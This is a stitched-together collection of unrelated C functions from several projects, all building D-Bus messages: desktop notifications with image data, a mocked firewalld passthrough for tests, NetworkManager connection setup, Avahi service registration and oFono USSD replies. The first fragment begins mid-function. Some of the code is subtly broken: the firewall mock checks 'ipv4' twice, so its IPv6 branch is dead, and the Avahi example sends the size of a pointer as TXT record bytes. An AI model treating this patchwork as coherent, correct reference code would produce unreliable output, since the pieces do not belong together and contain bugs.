dbus_message_iter_close_container(&iter,&array); dbus_message_iter_open_container(&iter,DBUS_TYPE_ARRAY,"{sv}",&array); if (image && image->getData()) { // const FXchar * icon_data="icon_data"; /// spec 0.9 says "image_data". some use "icon_data" though.. // const FXchar * icon_data="image-data"; /// spec 0.9 says "image_data". some use "icon_data" though.. ialpha = true; iw = image->getWidth(); ih = image->getHeight(); is = iw*4; ibps = 8; ichannels = 4; isize = iw*ih*4; FXColor * bgra = NULL; allocElms(bgra,(iw*ih)); gm_bgra_to_rgba(image->getData(),bgra,(iw*ih)); idata = (const FXchar*)bgra; dbus_message_iter_open_container(&array,DBUS_TYPE_DICT_ENTRY,0,&dict); gm_dbus_append_string(&dict,icondata); dbus_message_iter_open_container(&dict,DBUS_TYPE_VARIANT,"(iiibiiay)",&variant); dbus_message_iter_open_container(&variant,DBUS_TYPE_STRUCT,NULL,&value); dbus_message_iter_append_basic(&value,DBUS_TYPE_INT32,&iw); dbus_message_iter_append_basic(&value,DBUS_TYPE_INT32,&ih); dbus_message_iter_append_basic(&value,DBUS_TYPE_INT32,&is); dbus_message_iter_append_basic(&value,DBUS_TYPE_BOOLEAN,&ialpha); dbus_message_iter_append_basic(&value,DBUS_TYPE_INT32,&ibps); dbus_message_iter_append_basic(&value,DBUS_TYPE_INT32,&ichannels); dbus_message_iter_open_container(&value,DBUS_TYPE_ARRAY,DBUS_TYPE_BYTE_AS_STRING,&data); dbus_message_iter_append_fixed_array(&data,DBUS_TYPE_BYTE,&idata,isize); dbus_message_iter_close_container(&value,&data); dbus_message_iter_close_container(&variant,&value); dbus_message_iter_close_container(&dict,&variant); dbus_message_iter_close_container(&array,&dict); freeElms(bgra); } //gm_dbus_dict_append_bool(&array,"transient",true); if (persistent) { // if (GMPlayerManager::instance()->playing()) gm_dbus_dict_append_bool(&array,"resident",true); // else // gm_dbus_dict_append_bool(&array,"transient",true); gm_dbus_dict_append_bool(&array,"action-icons",true); } dbus_message_iter_close_container(&iter,&array); dbus_message_iter_append_basic(&iter,DBUS_TYPE_INT32,&timeout); send(msg,this,ID_NOTIFY_REPLY); } }
VIR_MOCK_IMPL_RET_ARGS(dbus_connection_send_with_reply_and_block, DBusMessage *, DBusConnection *, connection, DBusMessage *, message, int, timeout_milliseconds, DBusError *, error) { DBusMessage *reply = NULL; const char *service = dbus_message_get_destination(message); const char *member = dbus_message_get_member(message); size_t i; size_t nargs = 0; char **args = NULL; char *type = NULL; VIR_MOCK_IMPL_INIT_REAL(dbus_connection_send_with_reply_and_block); if (STREQ(service, "org.freedesktop.DBus") && STREQ(member, "ListNames")) { const char *svc1 = "org.foo.bar.wizz"; const char *svc2 = VIR_FIREWALL_FIREWALLD_SERVICE; DBusMessageIter iter; DBusMessageIter sub; reply = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_RETURN); dbus_message_iter_init_append(reply, &iter); dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY, "s", &sub); if (!dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &svc1)) goto error; if (!fwDisabled && !dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, &svc2)) goto error; dbus_message_iter_close_container(&iter, &sub); } else if (STREQ(service, VIR_FIREWALL_FIREWALLD_SERVICE) && STREQ(member, "passthrough")) { bool isAdd = false; bool doError = false; if (virDBusMessageDecode(message, "sa&s", &type, &nargs, &args) < 0) goto error; for (i = 0; i < nargs; i++) { /* Fake failure on the command with this IP addr */ if (STREQ(args[i], "-A")) { isAdd = true; } else if (isAdd && STREQ(args[i], "192.168.122.255")) { doError = true; } } if (fwBuf) { if (STREQ(type, "ipv4")) virBufferAddLit(fwBuf, IPTABLES_PATH); else if (STREQ(type, "ipv4")) virBufferAddLit(fwBuf, IP6TABLES_PATH); else virBufferAddLit(fwBuf, EBTABLES_PATH); } for (i = 0; i < nargs; i++) { if (fwBuf) { virBufferAddLit(fwBuf, " "); virBufferEscapeShell(fwBuf, args[i]); } } if (fwBuf) virBufferAddLit(fwBuf, "\n"); if (doError) { dbus_set_error_const(error, "org.firewalld.error", "something bad happened"); } else { if (nargs == 1 && STREQ(type, "ipv4") && STREQ(args[0], "-L")) { if (virDBusCreateReply(&reply, "s", TEST_FILTER_TABLE_LIST) < 0) goto error; } else if (nargs == 3 && STREQ(type, "ipv4") && STREQ(args[0], "-t") && STREQ(args[1], "nat") && STREQ(args[2], "-L")) { if (virDBusCreateReply(&reply, "s", TEST_NAT_TABLE_LIST) < 0) goto error; } else { if (virDBusCreateReply(&reply, "s", "success") < 0) goto error; } } } else { reply = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_RETURN); } cleanup: VIR_FREE(type); for (i = 0; i < nargs; i++) VIR_FREE(args[i]); VIR_FREE(args); return reply; error: if (reply) dbus_message_unref(reply); reply = NULL; if (error && !dbus_error_is_set(error)) dbus_set_error_const(error, "org.firewalld.error", "something unexpected happened"); goto cleanup; }
/** * add connection settings to network manager */ int qaul_network_settings_add(DBusConnection* dbus_connection, qaul_dbus_connection_settings* settings, qaul_dbus_device_properties* device) { DBusMessage* msg; DBusMessageIter iter; DBusMessageIter iter_array[7]; char uuid[37]; const char* connection_path_ptr; dbus_uint32_t wlan_channel_ui32; printf("qaul_network_settings_add\n"); msg = dbus_message_new_method_call( "org.freedesktop.NetworkManager", "/org/freedesktop/NetworkManager/Settings", "org.freedesktop.NetworkManager.Settings", "AddConnection" ); if(msg == NULL) { printf("qaul_network_settings_add msg error\n"); return 0; } const char* connection_str = "connection"; const char* connection_keys[] = {"id", "type", "uuid", "zone"}; const char* connection_values[] = {"qaul.net", NULL, NULL, "public"}; // connection uuid qaul_dbus_create_uuid(uuid); connection_values[2] = uuid; printf("uuid: %s\n", uuid); // configure settings type & structure if(device->type == 2) { connection_values[1] = "802-11-wireless"; } else if(device->type == 1) { connection_values[1] = "802-3-ethernet"; } dbus_message_iter_init_append(msg, &iter); // configure connection settings if(!( dbus_message_iter_open_container (&iter, DBUS_TYPE_ARRAY, "{sa{sv}}", &iter_array[0]) && dbus_message_iter_open_container(&iter_array[0], DBUS_TYPE_DICT_ENTRY, NULL, &iter_array[1]) && dbus_message_iter_append_basic(&iter_array[1], DBUS_TYPE_STRING, &connection_str) && dbus_message_iter_open_container(&iter_array[1], DBUS_TYPE_ARRAY, "{sv}", &iter_array[2]) && qaul_dbus_append_dict_entry(&iter_array[2], connection_keys[0], DBUS_TYPE_STRING, &connection_values[0]) && qaul_dbus_append_dict_entry(&iter_array[2], connection_keys[1], DBUS_TYPE_STRING, &connection_values[1]) && qaul_dbus_append_dict_entry(&iter_array[2], connection_keys[2], DBUS_TYPE_STRING, &connection_values[2]) && qaul_dbus_append_dict_entry(&iter_array[2], connection_keys[3], DBUS_TYPE_STRING, &connection_values[3]) && dbus_message_iter_close_container(&iter_array[1], &iter_array[2]) && dbus_message_iter_close_container(&iter_array[0], &iter_array[1]) )) { printf("qaul_network_settings_add append connection settings error\n"); return 0; } // configure wireless device if(device->type == 2) { const char* wlan = connection_values[1]; const char* wlan_keys[] = {"ssid", "mode", "band", "channel"}; const char* wlan_values[] = {NULL, "adhoc", "bg"}; wlan_channel_ui32 = settings->wifi_channel +0; if(!( dbus_message_iter_open_container(&iter_array[0], DBUS_TYPE_DICT_ENTRY, NULL, &iter_array[1]) && dbus_message_iter_append_basic(&iter_array[1], DBUS_TYPE_STRING, &wlan) && dbus_message_iter_open_container(&iter_array[1], DBUS_TYPE_ARRAY, "{sv}", &iter_array[2]) // add hardware MAC address && qaul_dbus_append_device_mac(&iter_array[2], device) // SSID dict entry as byte array && dbus_message_iter_open_container(&iter_array[2], DBUS_TYPE_DICT_ENTRY, NULL, &iter_array[3]) && dbus_message_iter_append_basic(&iter_array[3], DBUS_TYPE_STRING, &wlan_keys[0]) && dbus_message_iter_open_container(&iter_array[3], DBUS_TYPE_VARIANT, "ay", &iter_array[4]) && dbus_message_iter_open_container(&iter_array[4], DBUS_TYPE_ARRAY, DBUS_TYPE_BYTE_AS_STRING, &iter_array[5]) && qaul_dbus_append_ssid(&iter_array[5], settings->wifi_ssid) && dbus_message_iter_close_container(&iter_array[4], &iter_array[5]) && dbus_message_iter_close_container(&iter_array[3], &iter_array[4]) && dbus_message_iter_close_container(&iter_array[2], &iter_array[3]) // end SSID dict entry && qaul_dbus_append_dict_entry(&iter_array[2], wlan_keys[1], DBUS_TYPE_STRING, &wlan_values[1]) && qaul_dbus_append_dict_entry(&iter_array[2], wlan_keys[2], DBUS_TYPE_STRING, &wlan_values[2]) && qaul_dbus_append_dict_entry(&iter_array[2], wlan_keys[3], DBUS_TYPE_UINT32, &wlan_channel_ui32) && dbus_message_iter_close_container(&iter_array[1], &iter_array[2]) && dbus_message_iter_close_container(&iter_array[0], &iter_array[1]) )) { printf("qaul_network_settings_add append wireless error\n"); return 0; } } // configure Ethernet device else if(device->type == 1) { const char* ethernet = connection_values[1]; if(!( dbus_message_iter_open_container(&iter_array[0], DBUS_TYPE_DICT_ENTRY, NULL, &iter_array[1]) && dbus_message_iter_append_basic(&iter_array[1], DBUS_TYPE_STRING, ðernet) && dbus_message_iter_open_container(&iter_array[1], DBUS_TYPE_ARRAY, "{sv}", &iter_array[2]) // add hardware MAC address && qaul_dbus_append_device_mac(&iter_array[2], device) && dbus_message_iter_close_container(&iter_array[1], &iter_array[2]) && dbus_message_iter_close_container(&iter_array[0], &iter_array[1]) )) { printf("qaul_network_settings_add append Ethernet error\n"); return 0; } } // configure IP // check available settings: // http://sourcecodebrowser.com/network-manager/0.8/nm-setting-ip4-config_8h.html const char* ipv4 = "ipv4"; const char* ipv4_method_key = "method"; const char* ipv4_method_value = "manual"; const char* ipv4_addresses = "addresses"; dbus_uint32_t ipv4_address_ip; dbus_uint32_t ipv4_address_gateway; inet_pton(AF_INET, settings->ipv4_address, &ipv4_address_ip); inet_pton(AF_INET, settings->ipv4_gateway, &ipv4_address_gateway); dbus_uint32_t ipv4_address_netmask = settings->ipv4_netmask +0; const char* ipv4_dns = "dns"; dbus_uint32_t ipv4_dns_ip1; dbus_uint32_t ipv4_dns_ip2; inet_pton(AF_INET, settings->ipv4_dns1, &ipv4_dns_ip1); inet_pton(AF_INET, settings->ipv4_dns2, &ipv4_dns_ip2); if(!( // append IP settings dbus_message_iter_open_container(&iter_array[0], DBUS_TYPE_DICT_ENTRY, NULL, &iter_array[1]) && dbus_message_iter_append_basic(&iter_array[1], DBUS_TYPE_STRING, &ipv4) && dbus_message_iter_open_container(&iter_array[1], DBUS_TYPE_ARRAY, "{sv}", &iter_array[2]) // append IP method && qaul_dbus_append_dict_entry(&iter_array[2], ipv4_method_key, DBUS_TYPE_STRING, &ipv4_method_value) // append IP addresses && dbus_message_iter_open_container(&iter_array[2], DBUS_TYPE_DICT_ENTRY, NULL, &iter_array[3]) && dbus_message_iter_append_basic(&iter_array[3], DBUS_TYPE_STRING, &ipv4_addresses) && dbus_message_iter_open_container(&iter_array[3], DBUS_TYPE_VARIANT, "aau", &iter_array[4]) // append IP address && dbus_message_iter_open_container(&iter_array[4], DBUS_TYPE_ARRAY, "au", &iter_array[5]) && dbus_message_iter_open_container(&iter_array[5], DBUS_TYPE_ARRAY, DBUS_TYPE_UINT32_AS_STRING, &iter_array[6]) // append IP && dbus_message_iter_append_basic(&iter_array[6], DBUS_TYPE_UINT32, &ipv4_address_ip) // append IP netmask && dbus_message_iter_append_basic(&iter_array[6], DBUS_TYPE_UINT32, &ipv4_address_netmask) // append IP gateway && dbus_message_iter_append_basic(&iter_array[6], DBUS_TYPE_UINT32, &ipv4_address_gateway) && dbus_message_iter_close_container(&iter_array[5], &iter_array[6]) && dbus_message_iter_close_container(&iter_array[4], &iter_array[5]) && dbus_message_iter_close_container(&iter_array[3], &iter_array[4]) && dbus_message_iter_close_container(&iter_array[2], &iter_array[3]) // append DNS settings && dbus_message_iter_open_container(&iter_array[2], DBUS_TYPE_DICT_ENTRY, NULL, &iter_array[3]) && dbus_message_iter_append_basic(&iter_array[3], DBUS_TYPE_STRING, &ipv4_dns) && dbus_message_iter_open_container(&iter_array[3], DBUS_TYPE_VARIANT, "au", &iter_array[4]) && dbus_message_iter_open_container(&iter_array[4], DBUS_TYPE_ARRAY, DBUS_TYPE_UINT32_AS_STRING, &iter_array[5]) // append first DNS address && dbus_message_iter_append_basic(&iter_array[5], DBUS_TYPE_UINT32, &ipv4_dns_ip1) // append second DNS address && dbus_message_iter_append_basic(&iter_array[5], DBUS_TYPE_UINT32, &ipv4_dns_ip2) && dbus_message_iter_close_container(&iter_array[4], &iter_array[5]) && dbus_message_iter_close_container(&iter_array[3], &iter_array[4]) && dbus_message_iter_close_container(&iter_array[2], &iter_array[3]) // close IP settings && dbus_message_iter_close_container(&iter_array[1], &iter_array[2]) && dbus_message_iter_close_container(&iter_array[0], &iter_array[1]) )) { printf("qaul_network_settings_add append DNS error\n"); return 0; } // close settings if(!( dbus_message_iter_close_container(&iter, &iter_array[0]) )) { printf("qaul_network_settings_add close settings error\n"); return 0; } if (!networkmanager_dbus_send(&msg, dbus_connection)) { printf("qaul_network_settings_add networkmanager_dbus_send error\n"); return 0; } if (!dbus_message_iter_init(msg, &iter) || dbus_message_iter_get_arg_type(&iter) != DBUS_TYPE_OBJECT_PATH) { printf("qaul_network_settings_add != DBUS_TYPE_OBJECT_PATH error (%i), DBUS_TYPE_STRING %i \n", dbus_message_iter_get_arg_type(&iter), DBUS_TYPE_STRING); if(dbus_message_iter_get_arg_type(&iter) == DBUS_TYPE_STRING) { dbus_message_iter_get_basic(&iter, &connection_path_ptr); printf("qaul_network_settings_add error: %s\n", connection_path_ptr); } dbus_message_unref(msg); return 0; } dbus_message_iter_get_basic(&iter, &connection_path_ptr); strncpy(settings->dbus_connection_path, connection_path_ptr, sizeof(settings->dbus_connection_path)); dbus_message_unref(msg); return 1; }
void method_AddService(char *path) { DBusMessage* msg; DBusMessageIter args; DBusConnection* conn; DBusError err; dbus_error_init(&err); DBusPendingCall* pending; dbus_int32_t interface = -1; dbus_int32_t protocol = -1; dbus_uint32_t flags = 0; char *name = "xifei"; char *type = "_http._tcp"; char *domain = "local"; char *host = "192.168.160.3"; dbus_uint16_t port = 500; char *txt1 = "xifei"; char *txt2 = "password of xifei"; /* <arg name="interface" type="i" direction="in"/> <arg name="protocol" type="i" direction="in"/> <arg name="flags" type="u" direction="in"/> <arg name="name" type="s" direction="in"/> <arg name="type" type="s" direction="in"/> <arg name="domain" type="s" direction="in"/> <arg name="host" type="s" direction="in"/> <arg name="port" type="q" direction="in"/> <arg name="txt" type="aay" direction="in"/> */ // initialiset the errors printf("Calling remote method: %s\n", "org.freedesktop.Avahi.EntryGroup"); // connect to the system bus and check for errors conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err); if (dbus_error_is_set(&err)) { fprintf(stderr, "Connection Error (%s)\n", err.message); dbus_error_free(&err); } if (NULL == conn) { exit(1); } msg = dbus_message_new_method_call("org.freedesktop.Avahi",// target for the method call path, // object to call on "org.freedesktop.Avahi.EntryGroup", // interface to call on "AddService"); // method nameResolveHostName if (NULL == msg) { fprintf(stderr, "Message Null\n"); exit(1); } // append arguments dbus_message_iter_init_append(msg, &args); if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_INT32, &interface)) { fprintf(stderr, "Out Of Memory!\n"); exit(1); } if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_INT32, &protocol)) { fprintf(stderr, "Out Of Memory!\n"); exit(1); } if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_UINT32, &flags)) { fprintf(stderr, "Out Of Memory!\n"); exit(1); } if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &name)) { fprintf(stderr, "Out Of Memory!\n"); exit(1); } if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &type)) { fprintf(stderr, "Out Of Memory!\n"); exit(1); } if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &domain)) { fprintf(stderr, "Out Of Memory!\n"); exit(1); } if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, &host)) { fprintf(stderr, "Out Of Memory!\n"); exit(1); } if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_UINT16, &port)) { fprintf(stderr, "Out Of Memory!\n"); exit(1); } /* DBusMessageIter iter_ay, iter_y; // Open dict entry container if (!dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, "ay", &iter_ay)) { printf("Can't open container for iter_ay\n"); exit(1); } if (!dbus_message_iter_open_container(&iter_ay, DBUS_TYPE_ARRAY, "y", &iter_y)) { printf("Can't open container for iter_y\n"); exit(1); } dbus_uint16_t bb=98; dbus_uint16_t cc=97; dbus_message_iter_append_basic(&iter_y, DBUS_TYPE_BYTE, &bb); dbus_message_iter_append_basic(&iter_y, DBUS_TYPE_BYTE, &cc); dbus_message_iter_close_container(&iter_ay, &iter_y); dbus_message_iter_close_container(&args, &iter_ay); g_message("signature of iter_ay: %s", dbus_message_iter_get_signature(&iter_ay)); g_message("signature of args: %s", dbus_message_iter_get_signature(&args)); */ DBusMessageIter iter_ay, iter_y; if (!dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, "ay", &iter_ay)) { printf("Can't open container for iter_ay\n"); exit(1); } if (!dbus_message_iter_open_container(&iter_ay, DBUS_TYPE_ARRAY, "y", &iter_y)) { printf("Can't open container for iter_y\n"); exit(1); } if (!dbus_message_iter_append_fixed_array (&iter_y, DBUS_TYPE_BYTE, &txt1, sizeof(txt1))) { fprintf (stderr, "No memory!\n"); } dbus_message_iter_close_container(&iter_ay, &iter_y); dbus_message_iter_close_container(&args, &iter_ay); g_message("arrive here1."); g_message("signature of msg: %s", dbus_message_get_signature(msg)); // g_message("signature of iter_ay: %s", dbus_message_iter_get_signature(&iter_ay)); // g_message("signature of args: %s", dbus_message_iter_get_signature(&args)); // send message and get a handle for a reply if (!dbus_connection_send (conn, msg, NULL)) { // -1 is default timeout fprintf(stderr, "Out Of Memory!\n"); exit(1); } dbus_connection_flush(conn); printf("Request Sent\n"); // free message dbus_message_unref(msg); }
void ofono_ussd_notify(struct ofono_ussd *ussd, int status, int dcs, const unsigned char *data, int data_len) { DBusConnection *conn = ofono_dbus_get_connection(); const char *ussdstr = "USSD"; char *utf8_str = NULL; const char *str; const char sig[] = { DBUS_TYPE_STRING, 0 }; DBusMessage *reply; DBusMessageIter iter; DBusMessageIter variant; DBG("status: %d %s, state: %d %s", status, ussd_status_name(status), ussd->state, ussd_state_name(ussd->state)); if (ussd->req && (status == OFONO_USSD_STATUS_NOTIFY || status == OFONO_USSD_STATUS_TERMINATED || status == OFONO_USSD_STATUS_TIMED_OUT || status == OFONO_USSD_STATUS_NOT_SUPPORTED)) { ussd_request_finish(ussd, ussd_status_to_failure_code(status), dcs, data, data_len); ussd_change_state(ussd, USSD_STATE_IDLE); return; } if (status == OFONO_USSD_STATUS_TERMINATED) { ussd_change_state(ussd, USSD_STATE_IDLE); if (ussd->pending == NULL) return; reply = __ofono_error_network_terminated(ussd->pending); goto out; } if (status == OFONO_USSD_STATUS_NOT_SUPPORTED) { ussd_change_state(ussd, USSD_STATE_IDLE); if (ussd->pending == NULL) return; reply = __ofono_error_not_supported(ussd->pending); goto out; } if (status == OFONO_USSD_STATUS_TIMED_OUT) { ussd_change_state(ussd, USSD_STATE_IDLE); if (ussd->pending == NULL) return; reply = __ofono_error_timed_out(ussd->pending); goto out; } if (data && data_len > 0) utf8_str = ussd_decode(dcs, data_len, data); str = utf8_str; /* TODO: Rework this in the Agent framework */ if (ussd->state == USSD_STATE_ACTIVE) { reply = dbus_message_new_method_return(ussd->pending); if (str == NULL) str = ""; dbus_message_iter_init_append(reply, &iter); dbus_message_iter_append_basic(&iter, DBUS_TYPE_STRING, &ussdstr); dbus_message_iter_open_container(&iter, DBUS_TYPE_VARIANT, sig, &variant); dbus_message_iter_append_basic(&variant, DBUS_TYPE_STRING, &str); dbus_message_iter_close_container(&iter, &variant); if (status == OFONO_USSD_STATUS_ACTION_REQUIRED) ussd_change_state(ussd, USSD_STATE_USER_ACTION); else ussd_change_state(ussd, USSD_STATE_IDLE); } else if (ussd->state == USSD_STATE_RESPONSE_SENT) { reply = dbus_message_new_method_return(ussd->pending); if (str == NULL) str = ""; dbus_message_append_args(reply, DBUS_TYPE_STRING, &str, DBUS_TYPE_INVALID); if (status == OFONO_USSD_STATUS_ACTION_REQUIRED) ussd_change_state(ussd, USSD_STATE_USER_ACTION); else ussd_change_state(ussd, USSD_STATE_IDLE); } else if (ussd->state == USSD_STATE_IDLE) { const char *signal_name; const char *path = __ofono_atom_get_path(ussd->atom); int new_state; if (status == OFONO_USSD_STATUS_ACTION_REQUIRED) { new_state = USSD_STATE_USER_ACTION; signal_name = "RequestReceived"; } else { new_state = USSD_STATE_IDLE; signal_name = "NotificationReceived"; } if (str == NULL) str = ""; g_dbus_emit_signal(conn, path, OFONO_SUPPLEMENTARY_SERVICES_INTERFACE, signal_name, DBUS_TYPE_STRING, &str, DBUS_TYPE_INVALID); ussd_change_state(ussd, new_state); goto free; } else { ofono_error("Received an unsolicited USSD but can't handle."); DBG("USSD is: status: %d, %s", status, str); goto free; } out: g_dbus_send_message(conn, reply); dbus_message_unref(ussd->pending); ussd->pending = NULL; free: g_free(utf8_str); }